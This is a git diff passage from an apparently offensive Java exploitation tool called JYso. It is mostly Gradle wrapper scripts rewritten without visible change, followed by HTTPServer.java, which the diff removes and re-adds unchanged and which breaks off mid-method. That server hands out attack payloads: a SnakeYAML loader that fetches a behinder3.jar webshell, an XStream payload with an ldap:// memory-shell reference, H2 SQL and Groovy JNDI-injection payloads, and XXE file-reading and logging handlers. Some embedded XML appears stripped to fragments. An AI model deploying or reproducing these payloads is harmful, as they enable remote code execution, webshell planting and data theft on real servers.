"$JAVACMD" ) - - # Now convert the arguments - kludge to limit ourselves to /bin/sh - for arg do - if - case $arg in #( - -*) false ;; # don't mess with options #( - /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath - [ -e "$t" ] ;; #( - *) false ;; - esac - then - arg=$( cygpath --path --ignore --mixed "$arg" ) - fi - # Roll the args list around exactly as many times as the number of - # args, so each arg winds up back in the position where it started, but - # possibly modified. - # - # NB: a `for` loop captures its iteration list before it begins, so - # changing the positional parameters here affects neither the number of - # iterations, nor the values presented in `arg`. - shift # remove old arg - set -- "$@" "$arg" # push replacement arg - done -fi - - -# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' - -# Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, -# and any embedded shellness will be escaped. -# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be -# treated as '${Hostname}' itself on the command line. - -set -- \ - "-Dorg.gradle.appname=$APP_BASE_NAME" \ - -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ - "$@" - -# Stop when "xargs" is not available. -if ! command -v xargs >/dev/null 2>&1 -then - die "xargs is not available" -fi - -# Use "xargs" to parse quoted args. -# -# With -n1 it outputs one arg per line, with the quotes and backslashes removed. -# -# In Bash we could simply go: -# -# readarray ARGS < <( xargs -n1 <<<"$var" ) && -# set -- "${ARGS[@]}" "$@" -# -# but POSIX shell has neither arrays nor command substitution, so instead we -# post-process each arg (as a line of input to sed) to backslash-escape any -# character that might be a shell metacharacter, then use eval to reverse -# that process (while maintaining the separation between arguments), and wrap -# the whole thing up as a single "set" statement. -# -# This will of course break if any of these variables contains a newline or -# an unmatched quote. -# - -eval "set -- $( - printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | - xargs -n1 | - sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | - tr '\n' ' ' - )" '"$@"' - -exec "$JAVACMD" "$@" +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat index 25da30d..7101f8e 100644 --- a/gradlew.bat +++ b/gradlew.bat @@ -1,92 +1,92 @@ -@rem -@rem Copyright 2015 the original author or authors. -@rem -@rem Licensed under the Apache License, Version 2.0 (the "License"); -@rem you may not use this file except in compliance with the License. -@rem You may obtain a copy of the License at -@rem -@rem https://www.apache.org/licenses/LICENSE-2.0 -@rem -@rem Unless required by applicable law or agreed to in writing, software -@rem distributed under the License is distributed on an "AS IS" BASIS, -@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -@rem See the License for the specific language governing permissions and -@rem limitations under the License. -@rem - -@if "%DEBUG%"=="" @echo off -@rem ########################################################################## -@rem -@rem Gradle startup script for Windows -@rem -@rem ########################################################################## - -@rem Set local scope for the variables with windows NT shell -if "%OS%"=="Windows_NT" setlocal - -set DIRNAME=%~dp0 -if "%DIRNAME%"=="" set DIRNAME=. -@rem This is normally unused -set APP_BASE_NAME=%~n0 -set APP_HOME=%DIRNAME% - -@rem Resolve any "." and ".." in APP_HOME to make it shorter. -for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi - -@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. -set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" - -@rem Find java.exe -if defined JAVA_HOME goto findJavaFromJavaHome - -set JAVA_EXE=java.exe -%JAVA_EXE% -version >NUL 2>&1 -if %ERRORLEVEL% equ 0 goto execute - -echo. 1>&2 -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 -echo. 1>&2 -echo Please set the JAVA_HOME variable in your environment to match the 1>&2 -echo location of your Java installation. 1>&2 - -goto fail - -:findJavaFromJavaHome -set JAVA_HOME=%JAVA_HOME:"=% -set JAVA_EXE=%JAVA_HOME%/bin/java.exe - -if exist "%JAVA_EXE%" goto execute - -echo. 1>&2 -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 -echo. 1>&2 -echo Please set the JAVA_HOME variable in your environment to match the 1>&2 -echo location of your Java installation. 1>&2 - -goto fail - -:execute -@rem Setup the command line - -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar - - -@rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* - -:end -@rem End local scope for the variables with windows NT shell -if %ERRORLEVEL% equ 0 goto mainEnd - -:fail -rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of -rem the _cmd.exe /c_ return code! -set EXIT_CODE=%ERRORLEVEL% -if %EXIT_CODE% equ 0 set EXIT_CODE=1 -if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% -exit /b %EXIT_CODE% - -:mainEnd -if "%OS%"=="Windows_NT" endlocal - -:omega +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/settings.gradle b/settings.gradle index 5f1e042..cbaab3d 100644 --- a/settings.gradle +++ b/settings.gradle @@ -1 +1 @@ -rootProject.name = 'JYso' +rootProject.name = 'JYso' diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index 484b8dc..cbe824c 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -1,581 +1,581 @@ -package com.qi4l.JYso; - -import cn.hutool.core.io.file.FileReader; -import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Utils; -import com.qi4l.JYso.template.ReverseShellTemplate; -import com.sun.net.httpserver.HttpExchange; -import com.sun.net.httpserver.HttpHandler; -import com.sun.net.httpserver.HttpServer; -import javassist.ClassPool; -import javassist.CtClass; -import org.apache.commons.lang3.reflect.FieldUtils; - -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.FileInputStream; -import java.io.IOException; -import java.net.InetSocketAddress; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; -import java.util.jar.JarOutputStream; -import java.util.zip.ZipEntry; - -import static org.fusesource.jansi.Ansi.ansi; - -public class HTTPServer { - //获取根目录路径 - public static String cwd = System.getProperty("user.dir"); - - public static void start() throws IOException { - - HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); - httpServer.createContext("/", new HttpHandler() { - @Override - public void handle(HttpExchange httpExchange) { - try { - System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); - - String qi = String.valueOf(httpExchange.getRequestURI()); - - - if (qi.contains("setPathAlias")) { - Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); - } else if (qi.contains("setRoute")) { - Config.ROUTE = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); - } - - String path = httpExchange.getRequestURI().getPath(); - if (path.endsWith(".class")) { - handleClassRequest(httpExchange); - } else if (path.endsWith(".wsdl")) { - handleWSDLRequest(httpExchange); - } else if (path.endsWith(".jar")) { - handleJarRequest(httpExchange); - } else if (path.startsWith("/xxelog")) { - handleXXELogRequest(httpExchange); - } else if (path.endsWith(".sql")) { - handleSQLRequest(httpExchange); - } else if (path.endsWith(".groovy")) { - handlerGroovyRequest(httpExchange); - } else if (path.endsWith(".xml")) { - handleXMLRequest(httpExchange); - } else if (path.endsWith(".txt")) { - handleTXTRequest(httpExchange); - } else if (path.endsWith(".yml")) { - handleYmlRequest(httpExchange); - } else { - handleFileRequest(httpExchange); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - }); - - httpServer.setExecutor(null); - httpServer.start(); - System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >> " + Config.httpPort + "...")); - } - - private static void handleFileRequest(HttpExchange exchange) throws Exception { - System.out.println("[-] 请求的后缀不对"); - String path = exchange.getRequestURI().getPath(); - String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); - File file = new File(filename); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - FileInputStream fileInputStream = new FileInputStream(file); - fileInputStream.read(bytes); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - exchange.close(); - - } - - private static void handleYmlRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); -// String host = exchange.getRequestURI().getHost(); - String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - String bytes = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + - " ]]\n" + - "]\n"; - - if (YamlName.equalsIgnoreCase("snake")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); -// exchange.sendResponseHeaders(200, yaml.getObject().length + 1); - exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); -// exchange.getResponseBody().write(yaml.getObject("UTF-8")); - } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + YamlName + ".yml"); - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - - } - exchange.close(); - } - - public static void handleTXTRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - if (txtname.equalsIgnoreCase("isok")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - byte[] bytes = "success!".getBytes(); - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, bytes.length + 1); - exchange.getResponseBody().write(bytes); - } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + txtname + ".txt"); - - if (file.exists()) { - - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); - exchange.sendResponseHeaders(404, 0); - } - } - exchange.close(); - } - - public static void handleXMLRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); -// String host = exchange.getRequestURI().getHost(); - String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - String bytes = "\n \n"; - String xstream = "\n" + - " \n" + - " 0\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " false\n" + - " 0\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " 1008\n" + - " true\n" + - " 1000\n" + - " 0\n" + - " 2\n" + - " 0\n" + - " 0\n" + - " 0\n" + - " true\n" + - " 1004\n" + - " false\n" + - " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " -1\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " com.sun.rowset.JdbcRowSetImpl\n" + - " getDatabaseMetaData\n" + - " \n" + - " \n" + - " foo\n" + - " \n" + - " foo\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " false\n" + - " 0\n" + - " 0\n" + - " false\n" + - " \n" + - " false\n" + - " \n" + - " \n" + - " \n" + - " 0\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; - - if (xmlName.equals("a")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - - - exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); - exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); - } else if (xmlName.equals("x")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); - exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); - exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); - - } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + xmlName + ".xml"); - - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - - } - exchange.close(); - - } - - public static void handleSQLRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String host = exchange.getRequestURI().getHost(); - String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - - if (sqlName.equalsIgnoreCase("echo")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - - String name = String.valueOf(System.nanoTime()); - String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + - "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + - "CALL " + name + "();\"}"; - exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); - exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); - } else if (sqlName.equalsIgnoreCase("inject")) { - System.out.println("@|green Response Code: |@" + 200); - - String name = String.valueOf(System.nanoTime()); - String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + - "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + - "CALL " + name + "();\"}"; - exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); - exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); - - } else { - - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + sqlName + ".sql"); - - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - } - exchange.close(); - } - - public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String host = exchange.getRequestURI().getHost(); - String exp = "/TomcatBypass/TomcatEcho"; - String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - - if (groovyName.equalsIgnoreCase("groovyecho")) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - - String bytes = "class demo {\n" + - " static void main(){\n" + - " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + - " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + - " o.setAutoCommit(true);\n" + - " }\n" + - "}\n"; - - exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); - exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); - - } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + groovyName + ".groovy"); - - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - - } - exchange.close(); - - } - - public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { - Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); - Object request = FieldUtils.readField(exchangeImpl, "req", true); - String startLine = (String) FieldUtils.readField(request, "startLine", true); - - System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); - exchange.sendResponseHeaders(200, 0); - exchange.close(); - } - - private static void handleJarRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - - if (jarName.equalsIgnoreCase("behinder3")) { - byte[] bytes; - String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; - FileReader fileReader = new FileReader(filename, "UTF-8"); - bytes = fileReader.readBytes(); - exchange.sendResponseHeaders(200, bytes.length + 1); - exchange.getResponseBody().write(bytes); - } else { - - String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; - File file = new File(filename); - if (file.exists()) { - byte[] bytes; - FileReader fileReader = new FileReader(filename, "UTF-8"); - bytes = fileReader.readBytes(); - exchange.sendResponseHeaders(200, bytes.length + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - - } - exchange.close(); - - - } - - private static void handleClassRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); - - String pa = cwd + path; - File file = new File(pa); - - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length()); - exchange.getResponseBody().write(bytes); - - System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); - System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } - - exchange.close(); - } - - private static void handleWSDLRequest(HttpExchange exchange) throws Exception { - String query = exchange.getRequestURI().getQuery(); - Map params = parseQuery(query); - - String path = exchange.getRequestURI().getPath().substring(1); - - if (path.startsWith("list")) { - //intended to list directories or read files on server - String file = params.get("file"); - if (file != null && !file.isEmpty()) { - String listWsdl = "" + - "\n" + - " \n" + - " %bbb;\n" + - "]>\n" + - "\n" + - " &ddd;\n" + - ""; - - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - exchange.sendResponseHeaders(200, listWsdl.getBytes().length); - 